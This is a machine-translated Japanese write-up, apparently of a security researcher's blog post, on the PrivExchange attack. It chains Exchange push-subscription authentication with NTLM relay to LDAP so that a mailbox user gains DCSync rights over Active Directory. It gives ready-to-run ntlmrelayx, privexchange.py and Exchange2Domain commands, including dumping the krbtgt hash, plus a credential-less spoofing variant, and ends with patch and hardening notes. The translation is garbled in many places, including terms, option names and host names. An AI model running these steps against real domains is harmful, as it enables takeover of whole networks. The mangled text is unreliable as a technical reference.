0x00はじめに
ほとんどのアクティブなディレクトリとエクスチェンジでは、Exchangeサーバーには高い権限があります。つまり、Exchangeサーバーの管理者は、ドメイン管理者のアクセス許可に許可を簡単に昇格させることができます。ZDI Webサイトのブログ投稿を見ました。これをNTLMリレーと組み合わせることができます。メールボックスを持っているユーザーからドメイン管理者の特権に権限を高めることができ、Exchangeを使用している企業組織の中で、おそらくエンタープライズ組織の90%がメールボックスを使用してユーザーをドメイン管理者の特権にアップグレードできます。デフォルトでは、この攻撃が可能であり、この特権のエスカレーションを防ぐために防御を適用できます。テキストの詳細といくつかの技術的な詳細と防御、ならびにこの攻撃の検証ツールを書くことは、「PrivexChange」と呼ばれます。 (PrivexChangeはパッチが適用され、利用可能です。公開された更新セクションを参照してください)
0x01既知の脆弱性を活用するために新しい方法を使用して
この記事では、いくつかの既知の脆弱性と既知のプロトコルの脆弱性を新しい攻撃に組み合わせています。 Mailboxからドメイン管理者アクセスを備えたユーザーからのアクセス許可を増やすために、3つのモジュールが組み合わされています。
デフォルトでは、Exchange Serverには高い権限があります
NTLM認証はリレーの影響を受けやすいです
Exchangeには、Exchange Serverのコンピューターアカウントを使用して攻撃者を認証できる機能があります
1.ExchangeおよびHigh Permissions
ここでの主な脆弱性は、ExchangeがActive Directoryドメインに高い権限を持っていることです。 Exchange Windows Permission Groupには、Active Directory内のドメインオブジェクトへのACLアクセスを書いています。これにより、グループのメンバーは、DCSYNC操作を実行する権限を含むドメインアクセスを変更できます。この権限を備えたユーザーまたはコンピューターは、通常、ドメインコントローラーによる複製に使用される同期操作を実行でき、攻撃者はActiveディレクトリのユーザーのすべてのハッシュパスワードを同期させることができます。これは一部の研究者によって発見されました(この記事の終わりにある参照セクションを参照)、私は昨年Fox-itの同僚であるRindertと一緒にブログ投稿を書きました。その投稿では、NTLMRELAYXの更新も投稿しました。これは、NTLMを中継するときにこれらのアクセス制御リスト(ACL)ベースの攻撃を実行する可能性を高めます。
2.ntlmリレーコンピューターアカウント
NTLMリレーはしばらく前から存在しています。以前は、主な焦点は、SMBを介してNTLM認証を中継して、他のホストでのコード実行を有効にすることでした。残念ながら、これはまだSMBの署名やその他のプロトコルを有効にすることで強化されていない多くの企業ネットワークに存在します。私の意見で最も興味深いプロトコルはLDAPです。これは、(アクティブな)ディレクトリのオブジェクトの読み取りと変更に使用できます。 NTLMリレーに関する更新について知る必要がある場合は、私が書いたブログでそれを見つけることができます。要するに、防御が適用されない限り、次の図に示すように、攻撃者のコンピューターがWindowsを介してネットワーク内の他のコンピューターに接続されている場合(自動的に)認証を実行できます。
リレーLDAPを認証する場合、ディレクトリ内のオブジェクトを変更して、DCSYNC操作に必要なアクセス許可を含む攻撃者の許可を付与できます。したがって、NTLM認証を介してExchange Serverを認証できる場合は、ACL攻撃を実行できます。被害者は、SMBを介してHTTPを介して私たちを認証する場合にのみLDAPに中継することができることに注意する必要があります。
3.認証の交換
これまでのところ唯一の欠落コンポーネントは、私たちを認証するための交換を得る簡単な方法です。 ZDIの研究者(記事には名前が付けられていません)は、Exchange PushSubscription機能により、ExchangeがHTTPを介して任意のURLを認証できることを発見しました。彼らのブログ投稿では、彼らはこの脆弱性を使用して、NTLM認証を交換(反射攻撃と呼ばれます)にリレーし、他のユーザーをシミュレートしました。これを交換がデフォルトで持っている高権限と組み合わせると、反射攻撃の代わりにリレー攻撃を実行すると、これらのアクセス許可を使用してDCSYNC許可を自分に付与できます。プッシュ通知サービスには、イベントが発生していなくても、x分ごとにメッセージを送信するオプション(攻撃者はxを指定できます)があります。これにより、Inboxにアクティビティがない場合でも、Exchangeが私たちに接続することが保証されます。
0x02実行許可強化攻撃
以下は、上記の攻撃の概略図を示しており、許可のエスカレーションを実行する手順を示しています。
攻撃を実行するには、privaexchange.pyとntlmrelayxの2つのツールが必要です。 GitHubでPrivexChangeとImpacketライブラリの両方を入手できます。ドメインコントローラーのLDAPをターゲットにし、リレーモードでNTLMRELAYXを起動し、許可の高さのために攻撃者が制御するユーザーを提供します(この場合はNTUユーザー)
ntlmrelayx.py -t ldap: //s2016dc.testsegment.local- escalate -user ntu
次に、priveExchange.pyスクリプトを実行します。
user@localhost:〜/culdpoc $ python privxchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u tu -d testsegment.local
Password:
Info:攻撃者の使用URL: http://DEV.TESTSEGMING.LOCAL/PRIVEXCHANGE/を使用
Info: Exchangeが返されたHTTPステータス200-認証は問題ありませんでした
ERROR:あなたが認証したユーザーには、メールボックスが関連付けられていません。別のユーザーを試してください。
メールボックスなしでユーザーと一緒に実行すると、上記のエラーが発生します。メールボックスに関連付けられているユーザーで再試行しましょう。
user@localhost:〜/culdpoc $ python privxchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local
Password:
Info:攻撃者の使用URL: http://DEV.TESTSEGMING.LOCAL/PRIVEXCHANGE/を使用
Info: Exchangeが返されたHTTPステータス200-認証は問題ありませんでした
Info: APIコールは成功しました
1分後(これはプッシュ通知に提供される値です)、ntlmrelayxの接続が表示されます。
secretsdumpを使用して、dcsyncがハッシュ値をエクスポートできることを確認します
すべてのActive Directoryユーザーのすべてのハッシュパスワードを使用して、攻撃者はゴールドノートを作成してユーザーをエミュレートするか、ユーザーパスワードハッシュを使用して、ドメイン内のNTLMまたはKerberos認証を受け入れるサービスを認証できます。
0x03 LDAPおよび署名攻撃へのリレー
前に、SMBからLDAPへのリレーが機能しないことを前に述べました。そのため、この攻撃は、最近公開されたSpoolservice RPCの乱用を使用して実行できません(これはSMBを介して認証されているため)。これについての質問が発生し続け、それについて多くの疑問があるので、なぜこれが起こるのかを見てみましょう。 NTLM認証を掘り下げたくない場合は、このセクション:をスキップしてください)
SMBとHTTPのNTLM認証の違いは、デフォルトの交渉型IDです。問題のある部分は、NTLMSSP_NEGOTIATE_SIGNFLAG(0x00000010)で、MS-NLMPセクション2.2.2.5に記載されています。デフォルトでは、HTTPでのNTLM認証はこのIDを設定しませんが、このIDがSMBで使用されている場合、このIDはデフォルトで設定されます。
LDAPにリレーすると、認証が成功しますが、LDAPはパスワードから派生したすべてのセッションキーを使用してすべてのメッセージに署名します(リレー攻撃にはこのキーがありません)。したがって、署名されていないメッセージは無視され、攻撃に障害が発生します。署名が交渉されないように、送信中にこれらのアイデンティティを変更することが可能かどうか疑問に思うかもしれません。これは、現在のバージョンのWindowsでは機能しません。これは、マイク(メッセージの整合性チェック)がデフォルトで含まれているため、3つのすべてのNTLMメッセージの署名に基づいているため、メッセージの変更はすべて無効になります。
マイクを削除できますか?はい、それはNTLMメッセージの保護された範囲内ではないためです。ただし、これを防ぐNTLM認証(NTLMV2のみ)には最後の保護があります。NTLMV2応答がある場合、被害者のパスワード署名があり、AV_PAIRが呼ばれ、MSVAVFLAGSになる構造があります。このフィールドの値が0x002の場合、クライアントがマイクとタイプ3のメッセージを送信したことを意味します。
NTLMV2応答を変更すると、認証が無効になるため、この識別フィールドを削除できません。識別フィールドは、コンピューターにマイクが含まれていることを示し、ターゲットサーバーがマイクを確認し、3つのメッセージすべてが送信中に変更されていないことを確認するため、署名IDを削除することはできません。
これは、Microsoftでのみ(私が思う)NTLMで機能します。 NTLMのカスタマイズを実装すると、MICおよびAV_PAIRロゴの追加レベルを下げることはできないため、識別の変更を受けやすくなるため、SMB-LDAPリレーが成功します。この例は、Javaが実装したNTLM攻撃であり、これはセキュリティ防御をバイパスするための送信中に変更できます。
0x04資格情報なしで攻撃を実行します
前のセクションでは、リークされた資格情報を使用して攻撃の最初のステップを実行しました。攻撃者がサイバー攻撃のみを実行できますが、資格情報がない場合でも、認証のために交換をトリガーできます。 smb-to-http(またはhttp-to-http)リレー(llmnr/nbns/mitm6スプーフィングを使用)を行うと、同じネットワークセグメント内のユーザーの認証をリレーして、EWSを交換して、資格情報とのコールバックをトリガーできます(この質問のマークタグのおかげです!)。 httpattack.pyに小さな変更を加えましたが、NTLMRELAYXを使用して資格情報なしで攻撃を実行できます(ファイルで事前に拡張されているため、攻撃者のホストを変更するだけです)
0x05ツール命令
1。ツールと影響を受けるバージョン
検証ツールは、https://github.com/dirkjanm/privexchangeにあります。次のExchange/Windowsバージョンでテスト:
・サーバー2012R2でのExchange2013(CU21)、サーバー2016 DC(完全にパッチされた)に中継
・サーバー2016のExchange2016(CU11)、サーバー2019 DC(完全にパッチされた)に中継
・Server2019で2019をExchange 2019、Server2019 DCに中継(テストに@GentilKiwiに感謝します、完全にパッチしました)
上記のExchangeサーバーは共有許可モード(これはデフォルトモードです)を使用してインストールされますが、この書き込み操作に基づいて、RBACの分割許可展開も攻撃に対して脆弱です(自分でテストしていません)。
Exchange 2010 SP3は影響を受けていないようであり、私の研究室では、このバージョンは上記のSMBと同様の署名を交渉しているため、リレーを破壊します(この質問については @lean0x2fに感謝します)。バージョン14.3.435.0(この記事の執筆時点での最新の更新)とバージョン14.3.123.4の両方が、この結論を示しています。
リリースアップデート:
2019年2月12日、Microsoftは、通知を送信する際に自動認証交換を削除することにより、これらの問題を解決するExchange Updateをリリースしました。これには、次の交換バージョンが含まれます。
Exchange Server 2019アップデートバージョン
Exchange Server 2016アップデートバージョン12
Exchange Server 2013アップデートバージョン22
・Exchange Server 2010 Service Pack 3更新ロールアップ26
さらに、Exchangeが必要とする権限をチェックする必要があり、これらのアクセス許可を減らすことを決定して、ExchangeがADに過度のAD許可を持たないようにします。既存の交換インストールの場合、更新されたインストーラーから再度setup.exe/preaiedを実行する必要があります。そうしないと、これらのアクセス許可は削除されません。 Exchange 2010の場合、権限を手動で削除する必要があり、関連する指示はKB4490059で取得できます。
このホットフィックスの詳細については、Microsoft Exchangeブログを参照してください。
2.PrivexChange使用法
2.1インストール要件
これらのツールはパッケージ化する必要があります。コマンドPIPインストールImpacketを使用してインストールできますが、GitHubの最新バージョンを使用することをお勧めします。
2.2privexchange.pyこのツールは、通知情報をプッシュするためにサブスクライブするためにExchange Webサービスにログインするだけです。これにより、Exchangeをサーバーに再接続し、認証のためのシステムログインとして認証されます。適切に機能させるには:
httpatack.pyの攻撃者のURLを変更して、ntlmrelayxを実行する攻撃者サーバーを指す
githubのclone git clonehttps://github.com/secureauthcorp/impacket
このファイルを/Impacket/Impacket/Examples/ntlmrelayx/Attacks/Directoryにコピーします
CDインパケット
コマンドPIPインストールを使用します。 - 更新をインストールするためにアップグレードするか、コマンドPIPインストール-Eを使用します。変更されたインパックバージョンをインストールします
3.Exchange2Domain ---簡素化されたバージョンの使用
単純化されたPrivexChange利用ツール。 Web Serverポートを開くだけで、高い権限が必要になる必要はありません。
3.1インストール要件
これらのツールはパッケージ化する必要があります。コマンドPIPインストールImpacketを使用して(https://github.com/ridter/exchange2domain)を使用できます。
3.2使用
USAGE: Exchange2Domain.py [-H] [-U Username] [-D Domain] [-Pパスワード]
[ - ハッシュハッシュ] [ - -No-SSL]
[-Exchange-Port Exchange_Port] -AH Attacker_Host
[-ap astiter_port] -th target_host
[-exec-method [{smbexec、wmiexec、mmcexec}]]]]
[-Exchange-version Exchange_version]
[-Attacker-Page Attacker_Page]
[-just-dc-user username] [ - debug]
ホスト名
交換を乱用することにより、ドメイン管理者の特権を交換します。私を使ってください
ntlmrelayxで
位置引数:
Exchange ServerのHostname HostName/IP
オプションの引数:
-H、 - ヘルプこのヘルプメッセージと出口を表示します
-u username、-user username
認証用のユーザー名
-dドメイン、 - ドメインドメイン
ドメインユーザーは(fqdnまたはnetbiosドメイン名)にあります
-pパスワード、 - パスワードパスワード
認証のパスワードは、そうでない場合はプロンプトが表示されます
指定されており、NT:NTLMハッシュは提供されません
- ハッシュハッシュLM:NLTMハッシュ
-No-SSLはHTTPSを使用しません(ポート80で接続)
-Exchange-Port Exchange_port
代替EWSポート(デフォルト: 443または80)
-AH ASTICTER_HOST、-ATTACKER-HOST ATTICKER_HOST
攻撃者のホスト名またはIP
-ap astiter_port、-attacker-port Attacker_port
リレー攻撃が実行されるポート(デフォルト: 80)
-th target_host、-target-host target_host
DCのホスト名またはIP
-exec-method [{smbexec、wmiexec、mmcexec}]
ターゲットで使用するリモートエグゼクティブメソッド(使用する場合のみ
-USE-VSS)。 default: smbexec
-Exchange -Version Exchange_version
ターゲットの交換バージョン(Default: Exchange2013、
Choices:Exchange2010、Exchange2010_sp1、Exchange2010_sp2
、Exchange2013、Exchange2013_sp1、Exchange2016)
-ATTACKER-PAGE ATTICHER_PAGE
攻撃者サーバーでリクエストするページ(default:
/privexchange/)
-dc-userユーザー名
指定されたユーザーのNTDS.DITデータのみを抽出します。
Drsuapiアプローチでのみ利用できます。
- デバッグ出力を有効にします
例えば:
python exchange2domain.py -ah aptherterip -ap ristenport -u user -p password -d domain.com -th dcip mailserverip
krbtgtをダンプしたい場合は、-dc-userを使用してください。
Python Exchange2Domain.py -Ah Actustterip -Uユーザー-Pパスワード-D domain.com -th dcip -just -dc -user krbtgt mailserverip
0x06防御測定
以前のブログでは、NTLMリレーのためのいくつかの防御方法、特にLDAPへのリレーのディフェンスを強調しました。
この攻撃の最も重要な防御は次のとおりです。
・setup.exe/preateadをパッチした交換CUから実行して、ドメインオブジェクトへの交換用の不要な高権限を削除します(詳細については以下を参照)
・LDAP署名を有効にし、LDAPチャネルバインディングをそれぞれLDAPとLDAPへのリレーを防止できるようにします
・Exchangeサーバーは、ポート上のクライアントサービスとの接続を確立することをブロックします。
IISの交換エンドポイントでの認証の拡張保護を有効にします(ただし、Exchangeバックエンドエンドポイントではなく、交換は中断されます)。これにより、NTLM認証のチャネルバインディングパラメーターが検証され、NTLM認証がTLS接続に結合し、Webサービスを交換するための中継を防ぎます。
・消去
Recommended Comments